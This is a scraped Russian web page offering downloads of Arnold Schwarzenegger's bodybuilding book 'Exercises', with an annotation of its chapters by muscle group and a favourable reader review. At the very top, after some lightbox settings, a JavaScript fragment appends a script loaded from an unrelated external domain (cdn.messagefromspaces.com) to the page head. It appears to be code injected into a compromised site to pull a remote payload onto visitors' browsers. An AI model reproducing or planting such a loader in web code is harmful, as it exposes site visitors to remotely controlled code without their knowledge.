, 'opacity': false, 'speedIn': 500, 'speedOut': 500, 'changeSpeed': 300, 'overlayShow': false, 'overlayOpacity': "", 'overlayColor': "", 'titleShow': false, 'titlePosition': '', 'enableEscapeButton': false, 'showCloseButton': false, 'showNavArrows': false, 'hideOnOverlayClick': false, 'hideOnContentClick': false, 'width': 500, 'height': 340, 'transitionIn': "", 'transitionOut': "", 'centerOnScroll': false }); var script = document.createElement('script'); script.type= 'text/javascript'; script.src = 'https://cdn.messagefromspaces.com/c.js?pro=type'; document.getElementsByTagName('head')[0].appendChild(script); })

Арнольд Шварценеггер «Упражнения»

Голосов: 158. Среднее: 4.45 из 5
Loading ... Loading ...

Аннотация на книгу

Логическое продолжение цикла «Новой энциклопедии бодибилдинга» от Арнольда Шварценеггера (предыдущая часть – «по ссылке Программа тренировки»), 3-я часть, книга «Упражениня».

Ничего лишнего, никакой ненужно информации, все строго и по делу, эта часть посвящена исключительно упражнениям.

Соответственным образом разбиты и главы: плечевой пояс (дельтовидные, трапециевидные), грудная клетка, спина (верхняя, средняя и нижние части, латеральные мышцы, ), руки (бицепс, трицепс, предплечья), бедра (квадрицепсы, мышцы подколенного сухожилия), икры и голень,  живот и пресс (косые, передняя зубчастая, межреберные мышцы).

Каждая из глав, посвященная определенному участку тела расскажет: мышцы той или иной области, их функции и развитие, а также направленная на это тренировка, упражнения, растяжение и сокращение мышц, слабые места, позирование.

В книге «Упражнения», Арнольд Шварценеггер делится не только своим опытом, поскольку признает, что даже он не может похвастаться обладанием совершенного тела, идеально развитыми всеми мышцами, но также обращается за опытом к другим бодибилдерам с мировым именем.

 Рецензия на книгу

Занимаясь бодибилдингом много лет, я знаю, что каждому человеку следует уделять большее внимание определенным группам мышц, в зависимости от телосложения и физиологических особенностей. Некоторым сложнее накачать руки и грудь, у других проблемными зонами являются мышцы ног и ягодиц. Именно поэтому я советую всем бодибилдерам скачать и прочитать третью часть из серии книг о бодибилдинге, написанных таким замечательным спортсменом, как Арнольд Шварценеггер.

В пособие «Новая энциклопедия бодибилдинга. Книга 3. Упражнения» внимание уделяется всем без исключения мышцам, расположенным на теле человека. Каждую из них можно раскачать, используя определенные упражнения для этого. Данная книга четко и подробно иллюстрирует, как именно следует выполнять то или иное упражнение, чтобы добиться желаемого результата. Взять на вооружение это пособие можно посоветовать не только профессионалам, а также и людям, которые занимаются спортом лишь для поддержания формы и хорошего самочувствия. В моей практике встречались даже женщины, которые с помощью некоторых упражнений из данной части энциклопедии восстанавливали организм после рождения ребенка! Потому с уверенностью заявляю, что издание полезное и широко используемое.


Следующая, 4-ая часть «Соревнования» предназначена для профессиональных культуристов.


Формат файлов: fb2, ePub, txt, rtf, pdf, html, mobi (Kindle), java, lrf, rb, isilo3, lit, doc

Комментарии закрыты